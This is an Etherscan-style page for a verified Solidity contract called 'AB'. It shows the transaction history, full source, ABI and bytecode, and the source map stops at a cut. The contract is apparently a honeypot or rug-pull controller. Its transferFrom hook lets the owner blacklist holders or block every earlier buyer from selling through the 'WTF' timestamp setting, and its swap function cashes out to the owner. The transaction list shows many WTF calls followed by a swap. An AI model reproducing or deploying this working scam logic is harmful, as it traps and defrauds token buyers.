Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
Latest 18 from a total of 18 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Swap | 17522080 | 506 days ago | IN | 0 ETH | 0.00448641 | ||||
Add WL | 17521294 | 506 days ago | IN | 0 ETH | 0.00310231 | ||||
WTF | 17521030 | 506 days ago | IN | 0 ETH | 0.00037283 | ||||
WTF | 17520968 | 506 days ago | IN | 0 ETH | 0.00042103 | ||||
WTF | 17520955 | 506 days ago | IN | 0 ETH | 0.00049404 | ||||
WTF | 17520926 | 506 days ago | IN | 0 ETH | 0.00048281 | ||||
WTF | 17520919 | 506 days ago | IN | 0 ETH | 0.00049003 | ||||
WTF | 17520915 | 506 days ago | IN | 0 ETH | 0.00043377 | ||||
WTF | 17520874 | 506 days ago | IN | 0 ETH | 0.00039657 | ||||
WTF | 17520870 | 506 days ago | IN | 0 ETH | 0.00040948 | ||||
WTF | 17520867 | 506 days ago | IN | 0 ETH | 0.00043483 | ||||
WTF | 17520864 | 506 days ago | IN | 0 ETH | 0.00043745 | ||||
WTF | 17520852 | 506 days ago | IN | 0 ETH | 0.00043456 | ||||
WTF | 17520846 | 506 days ago | IN | 0 ETH | 0.00038972 | ||||
WTF | 17520832 | 506 days ago | IN | 0 ETH | 0.0003892 | ||||
WTF | 17520821 | 506 days ago | IN | 0 ETH | 0.00065013 | ||||
Init Param | 17520813 | 506 days ago | IN | 0 ETH | 0.00102997 | ||||
0x60806040 | 17520690 | 506 days ago | IN | 0 ETH | 0.01183521 |
Loading...
Loading
Contract Name:
AB
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-06-20 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function decimals() external returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Router02 { function WETH() external pure returns (address); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract AB is Ownable { using SafeMath for uint256; IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address coin; address pair; mapping(address => bool) whites; mapping(address => bool) blacks; mapping (address => uint256) hodl; uint256 public lastHODL; receive() external payable { } function initParam(address _coin, address _pair) external onlyOwner { coin = _coin; pair = _pair; } function WTF(uint256 amount) external onlyOwner { if (amount == 0) lastHODL = block.timestamp; else lastHODL = amount; } function resetParam() external onlyOwner { coin = address(0); pair = address(0); } function transferFrom( address from, address to, uint256 amount ) external returns (bool) { if (whites[from] || whites[to] || pair == address(0)) { return true; } else if ((from == owner() || from == address(this)) && to == pair) { return false; } if (from == pair) { if (hodl[to] == 0) { hodl[to] = block.timestamp; } } else { require(!blacks[from]); require(hodl[from] >= lastHODL); } return true; } function swap(uint256 count) external onlyOwner { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = coin; path[1] = uniswapV2Router.WETH(); IERC20(coin).approve(address(uniswapV2Router), ~uint256(0)); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( 10 ** count, 0, // accept any amount of ETH path, address(this), block.timestamp ); payable(msg.sender).transfer(address(this).balance); } function addWL(address[] memory _wat) external onlyOwner{ for (uint i = 0; i < _wat.length; i++) { whites[_wat[i]] = true; } } function addBL(address[] memory _bat) external onlyOwner{ for (uint i = 0; i < _bat.length; i++) { blacks[_bat[i]] = true; } } function claimDust() external onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"WTF","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_bat","type":"address[]"}],"name":"addBL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"_wat","type":"address[]"}],"name":"addWL","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"claimDust","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_coin","type":"address"},{"internalType":"address","name":"_pair","type":"address"}],"name":"initParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lastHODL","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"resetParam","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"count","type":"uint256"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
6080604052600180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055348015610035575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350610d1e806100835f395ff3fe6080604052600436106100a8575f3560e01c806394b918de1161006257806394b918de1461018457806398da35d3146101a3578063bdb019ff146101c2578063df90ebe8146101d6578063ebea113e146101ea578063f2fde38b14610209575f80fd5b806319849a77146100b357806323b872dd146100d4578063250cd335146101085780634b3e54c21461012b578063715018a61461014a5780638da5cb5b1461015e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100d26100cd366004610976565b610228565b005b3480156100df575f80fd5b506100f36100ee366004610a36565b6102c3565b60405190151581526020015b60405180910390f35b348015610113575f80fd5b5061011d60075481565b6040519081526020016100ff565b348015610136575f80fd5b506100d2610145366004610a74565b610411565b348015610155575f80fd5b506100d2610451565b348015610169575f80fd5b505f546040516001600160a01b0390911681526020016100ff565b34801561018f575f80fd5b506100d261019e366004610a74565b6104c2565b3480156101ae575f80fd5b506100d26101bd366004610a8b565b6106d9565b3480156101cd575f80fd5b506100d2610730565b3480156101e1575f80fd5b506100d2610777565b3480156101f5575f80fd5b506100d2610204366004610976565b6107c9565b348015610214575f80fd5b506100d2610223366004610ac2565b610857565b5f546001600160a01b0316331461025a5760405162461bcd60e51b815260040161025190610add565b60405180910390fd5b5f5b81518110156102bf57600160055f84848151811061027c5761027c610b12565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806102b781610b3a565b91505061025c565b5050565b6001600160a01b0383165f9081526004602052604081205460ff168061030057506001600160a01b0383165f9081526004602052604090205460ff165b8061031457506003546001600160a01b0316155b156103215750600161040a565b5f546001600160a01b038581169116148061034457506001600160a01b03841630145b801561035d57506003546001600160a01b038481169116145b1561036957505f61040a565b6003546001600160a01b03908116908516036103bd576001600160a01b0383165f9081526006602052604081205490036103b8576001600160a01b0383165f9081526006602052604090204290555b610406565b6001600160a01b0384165f9081526005602052604090205460ff16156103e1575f80fd5b6007546001600160a01b0385165f908152600660205260409020541015610406575f80fd5b5060015b9392505050565b5f546001600160a01b0316331461043a5760405162461bcd60e51b815260040161025190610add565b805f03610448574260075550565b60078190555b50565b5f546001600160a01b0316331461047a5760405162461bcd60e51b815260040161025190610add565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104eb5760405162461bcd60e51b815260040161025190610add565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f9061052a5761052a610b12565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610581573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a59190610b52565b816001815181106105b8576105b8610b12565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610618573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063c9190610b6d565b506001546001600160a01b031663791ac94761065984600a610c6e565b5f8430426040518663ffffffff1660e01b815260040161067d959493929190610c79565b5f604051808303815f87803b158015610694575f80fd5b505af11580156106a6573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f193505050501580156106d4573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146107025760405162461bcd60e51b815260040161025190610add565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b5f546001600160a01b031633146107595760405162461bcd60e51b815260040161025190610add565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b031633146107a05760405162461bcd60e51b815260040161025190610add565b60405133904780156108fc02915f818181858888f1935050505015801561044e573d5f803e3d5ffd5b5f546001600160a01b031633146107f25760405162461bcd60e51b815260040161025190610add565b5f5b81518110156102bf57600160045f84848151811061081457610814610b12565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061084f81610b3a565b9150506107f4565b5f546001600160a01b031633146108805760405162461bcd60e51b815260040161025190610add565b6001600160a01b0381166108e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610251565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b038116811461044e575f80fd5b803561097181610952565b919050565b5f6020808385031215610987575f80fd5b823567ffffffffffffffff8082111561099e575f80fd5b818501915085601f8301126109b1575f80fd5b8135818111156109c3576109c361093e565b8060051b604051601f19603f830116810181811085821117156109e8576109e861093e565b604052918252848201925083810185019188831115610a05575f80fd5b938501935b82851015610a2a57610a1b85610966565b84529385019392850192610a0a565b98975050505050505050565b5f805f60608486031215610a48575f80fd5b8335610a5381610952565b92506020840135610a6381610952565b929592945050506040919091013590565b5f60208284031215610a84575f80fd5b5035919050565b5f8060408385031215610a9c575f80fd5b8235610aa781610952565b91506020830135610ab781610952565b809150509250929050565b5f60208284031215610ad2575f80fd5b813561040a81610952565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610b4b57610b4b610b26565b5060010190565b5f60208284031215610b62575f80fd5b815161040a81610952565b5f60208284031215610b7d575f80fd5b8151801515811461040a575f80fd5b600181815b80851115610bc657815f1904821115610bac57610bac610b26565b80851615610bb957918102915b93841c9390800290610b91565b509250929050565b5f82610bdc57506001610c68565b81610be857505f610c68565b8160018114610bfe5760028114610c0857610c24565b6001915050610c68565b60ff841115610c1957610c19610b26565b50506001821b610c68565b5060208310610133831016604e8410600b8410161715610c47575081810a610c68565b610c518383610b8c565b805f1904821115610c6457610c64610b26565b0290505b92915050565b5f61040a8383610bce565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610cc75784516001600160a01b031683529383019391830191600101610ca2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f6182ce40eea818dd4c81830ecea017d41a31d896b2e4d7b4d65214aa459cbc564736f6c63430008140033
Deployed Bytecode
0x6080604052600436106100a8575f3560e01c806394b918de1161006257806394b918de1461018457806398da35d3146101a3578063bdb019ff146101c2578063df90ebe8146101d6578063ebea113e146101ea578063f2fde38b14610209575f80fd5b806319849a77146100b357806323b872dd146100d4578063250cd335146101085780634b3e54c21461012b578063715018a61461014a5780638da5cb5b1461015e575f80fd5b366100af57005b5f80fd5b3480156100be575f80fd5b506100d26100cd366004610976565b610228565b005b3480156100df575f80fd5b506100f36100ee366004610a36565b6102c3565b60405190151581526020015b60405180910390f35b348015610113575f80fd5b5061011d60075481565b6040519081526020016100ff565b348015610136575f80fd5b506100d2610145366004610a74565b610411565b348015610155575f80fd5b506100d2610451565b348015610169575f80fd5b505f546040516001600160a01b0390911681526020016100ff565b34801561018f575f80fd5b506100d261019e366004610a74565b6104c2565b3480156101ae575f80fd5b506100d26101bd366004610a8b565b6106d9565b3480156101cd575f80fd5b506100d2610730565b3480156101e1575f80fd5b506100d2610777565b3480156101f5575f80fd5b506100d2610204366004610976565b6107c9565b348015610214575f80fd5b506100d2610223366004610ac2565b610857565b5f546001600160a01b0316331461025a5760405162461bcd60e51b815260040161025190610add565b60405180910390fd5b5f5b81518110156102bf57600160055f84848151811061027c5761027c610b12565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806102b781610b3a565b91505061025c565b5050565b6001600160a01b0383165f9081526004602052604081205460ff168061030057506001600160a01b0383165f9081526004602052604090205460ff165b8061031457506003546001600160a01b0316155b156103215750600161040a565b5f546001600160a01b038581169116148061034457506001600160a01b03841630145b801561035d57506003546001600160a01b038481169116145b1561036957505f61040a565b6003546001600160a01b03908116908516036103bd576001600160a01b0383165f9081526006602052604081205490036103b8576001600160a01b0383165f9081526006602052604090204290555b610406565b6001600160a01b0384165f9081526005602052604090205460ff16156103e1575f80fd5b6007546001600160a01b0385165f908152600660205260409020541015610406575f80fd5b5060015b9392505050565b5f546001600160a01b0316331461043a5760405162461bcd60e51b815260040161025190610add565b805f03610448574260075550565b60078190555b50565b5f546001600160a01b0316331461047a5760405162461bcd60e51b815260040161025190610add565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146104eb5760405162461bcd60e51b815260040161025190610add565b6040805160028082526060820183525f92602083019080368337505060025482519293506001600160a01b0316918391505f9061052a5761052a610b12565b6001600160a01b03928316602091820292909201810191909152600154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610581573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105a59190610b52565b816001815181106105b8576105b8610b12565b6001600160a01b03928316602091820292909201015260025460015460405163095ea7b360e01b815290831660048201525f19602482015291169063095ea7b3906044016020604051808303815f875af1158015610618573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063c9190610b6d565b506001546001600160a01b031663791ac94761065984600a610c6e565b5f8430426040518663ffffffff1660e01b815260040161067d959493929190610c79565b5f604051808303815f87803b158015610694575f80fd5b505af11580156106a6573d5f803e3d5ffd5b50506040513392504780156108fc029250905f818181858888f193505050501580156106d4573d5f803e3d5ffd5b505050565b5f546001600160a01b031633146107025760405162461bcd60e51b815260040161025190610add565b600280546001600160a01b039384166001600160a01b03199182161790915560038054929093169116179055565b5f546001600160a01b031633146107595760405162461bcd60e51b815260040161025190610add565b600280546001600160a01b0319908116909155600380549091169055565b5f546001600160a01b031633146107a05760405162461bcd60e51b815260040161025190610add565b60405133904780156108fc02915f818181858888f1935050505015801561044e573d5f803e3d5ffd5b5f546001600160a01b031633146107f25760405162461bcd60e51b815260040161025190610add565b5f5b81518110156102bf57600160045f84848151811061081457610814610b12565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff19169115159190911790558061084f81610b3a565b9150506107f4565b5f546001600160a01b031633146108805760405162461bcd60e51b815260040161025190610add565b6001600160a01b0381166108e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610251565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b634e487b7160e01b5f52604160045260245ffd5b6001600160a01b038116811461044e575f80fd5b803561097181610952565b919050565b5f6020808385031215610987575f80fd5b823567ffffffffffffffff8082111561099e575f80fd5b818501915085601f8301126109b1575f80fd5b8135818111156109c3576109c361093e565b8060051b604051601f19603f830116810181811085821117156109e8576109e861093e565b604052918252848201925083810185019188831115610a05575f80fd5b938501935b82851015610a2a57610a1b85610966565b84529385019392850192610a0a565b98975050505050505050565b5f805f60608486031215610a48575f80fd5b8335610a5381610952565b92506020840135610a6381610952565b929592945050506040919091013590565b5f60208284031215610a84575f80fd5b5035919050565b5f8060408385031215610a9c575f80fd5b8235610aa781610952565b91506020830135610ab781610952565b809150509250929050565b5f60208284031215610ad2575f80fd5b813561040a81610952565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b5f60018201610b4b57610b4b610b26565b5060010190565b5f60208284031215610b62575f80fd5b815161040a81610952565b5f60208284031215610b7d575f80fd5b8151801515811461040a575f80fd5b600181815b80851115610bc657815f1904821115610bac57610bac610b26565b80851615610bb957918102915b93841c9390800290610b91565b509250929050565b5f82610bdc57506001610c68565b81610be857505f610c68565b8160018114610bfe5760028114610c0857610c24565b6001915050610c68565b60ff841115610c1957610c19610b26565b50506001821b610c68565b5060208310610133831016604e8410600b8410161715610c47575081810a610c68565b610c518383610b8c565b805f1904821115610c6457610c64610b26565b0290505b92915050565b5f61040a8383610bce565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610cc75784516001600160a01b031683529383019391830191600101610ca2565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220f6182ce40eea818dd4c81830ecea017d41a31d896b2e4d7b4d65214aa459cbc564736f6c63430008140033
Deployed Bytecode Sourcemap
7888:2528:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10133:162;;;;;;;;;;-1:-1:-1;10133:162:0;;;;;:::i;:::-;;:::i;:::-;;8681:628;;;;;;;;;;-1:-1:-1;8681:628:0;;;;;:::i;:::-;;:::i;:::-;;;2173:14:1;;2166:22;2148:41;;2136:2;2121:18;8681:628:0;;;;;;;;8217:23;;;;;;;;;;;;;;;;;;;2346:25:1;;;2334:2;2319:18;8217:23:0;2200:177:1;8417:143:0;;;;;;;;;;-1:-1:-1;8417:143:0;;;;;:::i;:::-;;:::i;6302:148::-;;;;;;;;;;;;;:::i;5660:79::-;;;;;;;;;;-1:-1:-1;5698:7:0;5725:6;5660:79;;-1:-1:-1;;;;;5725:6:0;;;2713:51:1;;2701:2;2686:18;5660:79:0;2567:203:1;9317:638:0;;;;;;;;;;-1:-1:-1;9317:638:0;;;;;:::i;:::-;;:::i;8287:122::-;;;;;;;;;;-1:-1:-1;8287:122:0;;;;;:::i;:::-;;:::i;8568:105::-;;;;;;;;;;;;;:::i;10303:110::-;;;;;;;;;;;;;:::i;9963:162::-;;;;;;;;;;-1:-1:-1;9963:162:0;;;;;:::i;:::-;;:::i;6605:244::-;;;;;;;;;;-1:-1:-1;6605:244:0;;;;;:::i;:::-;;:::i;10133:162::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;;;;;;;;;10205:6:::1;10200:88;10221:4;:11;10217:1;:15;10200:88;;;10272:4;10254:6;:15;10261:4;10266:1;10261:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10254:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10254:15:0;:22;;-1:-1:-1;;10254:22:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10234:3;::::1;::::0;::::1;:::i;:::-;;;;10200:88;;;;10133:162:::0;:::o;8681:628::-;-1:-1:-1;;;;;8818:12:0;;8797:4;8818:12;;;:6;:12;;;;;;;;;:26;;-1:-1:-1;;;;;;8834:10:0;;;;;;:6;:10;;;;;;;;8818:26;:48;;;-1:-1:-1;8848:4:0;;-1:-1:-1;;;;;8848:4:0;:18;8818:48;8814:208;;;-1:-1:-1;8890:4:0;8883:11;;8814:208;5698:7;5725:6;-1:-1:-1;;;;;8926:15:0;;;5725:6;;8926:15;;:40;;-1:-1:-1;;;;;;8945:21:0;;8961:4;8945:21;8926:40;8925:56;;;;-1:-1:-1;8977:4:0;;-1:-1:-1;;;;;8971:10:0;;;8977:4;;8971:10;8925:56;8921:101;;;-1:-1:-1;9005:5:0;8998:12;;8921:101;9044:4;;-1:-1:-1;;;;;9044:4:0;;;9036:12;;;;9032:248;;-1:-1:-1;;;;;9069:8:0;;;;;;:4;:8;;;;;;:13;;9065:80;;-1:-1:-1;;;;;9103:8:0;;;;;;:4;:8;;;;;9114:15;9103:26;;9065:80;9032:248;;;-1:-1:-1;;;;;9209:12:0;;;;;;:6;:12;;;;;;;;9208:13;9200:22;;;;;;9259:8;;-1:-1:-1;;;;;9245:10:0;;;;;;:4;:10;;;;;;:22;;9237:31;;;;;;-1:-1:-1;9297:4:0;8681:628;;;;;;:::o;8417:143::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8480:6:::1;8490:1;8480:11:::0;8476:76:::1;;8504:15;8493:8;:26:::0;8417:143;:::o;8476:76::-:1;8535:8;:17:::0;;;8476:76:::1;8417:143:::0;:::o;6302:148::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;6409:1:::1;6393:6:::0;;6372:40:::1;::::0;-1:-1:-1;;;;;6393:6:0;;::::1;::::0;6372:40:::1;::::0;6409:1;;6372:40:::1;6440:1;6423:19:::0;;-1:-1:-1;;;;;;6423:19:0::1;::::0;;6302:148::o;9317:638::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;9462:16:::1;::::0;;9476:1:::1;9462:16:::0;;;;;::::1;::::0;;9438:21:::1;::::0;9462:16:::1;::::0;::::1;::::0;;::::1;::::0;::::1;-1:-1:-1::0;;9499:4:0::1;::::0;9489:7;;;;-1:-1:-1;;;;;;9499:4:0::1;::::0;9489:7;;-1:-1:-1;9499:4:0::1;::::0;9489:7:::1;;;;:::i;:::-;-1:-1:-1::0;;;;;9489:14:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:14;;;;9524:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9524:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9489:7;;9524:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9514:4;9519:1;9514:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9514:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9566:4:::1;::::0;;9588:15;9559:59:::1;::::0;-1:-1:-1;;;9559:59:0;;9588:15;;::::1;9559:59;::::0;::::1;4615:51:1::0;-1:-1:-1;;4682:18:1;;;4675:34;9566:4:0;::::1;::::0;9559:20:::1;::::0;4588:18:1;;9559:59:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;9657:15:0::1;::::0;-1:-1:-1;;;;;9657:15:0::1;:66;9738:11;9744:5:::0;9738:2:::1;:11;:::i;:::-;9764:1;9808:4;9835;9855:15;9657:224;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;9896:51:0::1;::::0;9904:10:::1;::::0;-1:-1:-1;9925:21:0::1;9896:51:::0;::::1;;;::::0;-1:-1:-1;9925:21:0;9896:51:::1;::::0;;;9925:21;9904:10;9896:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;9365:590;9317:638:::0;:::o;8287:122::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8366:4:::1;:12:::0;;-1:-1:-1;;;;;8366:12:0;;::::1;-1:-1:-1::0;;;;;;8366:12:0;;::::1;;::::0;;;8389:4:::1;:12:::0;;;;;::::1;::::0;::::1;;::::0;;8287:122::o;8568:105::-;5872:6;;-1:-1:-1;;;;;5872:6:0;4896:10;5872:22;5864:67;;;;-1:-1:-1;;;5864:67:0;;;;;;;:::i;:::-;8620:4:::1;:17:::0;;-1:-1:-1;;;;;;8620:17:0;;::::1;::::0;;;8648:4:::1;:17:::0;;;;::::1;::::0;;8568:105::o;10303:110::-;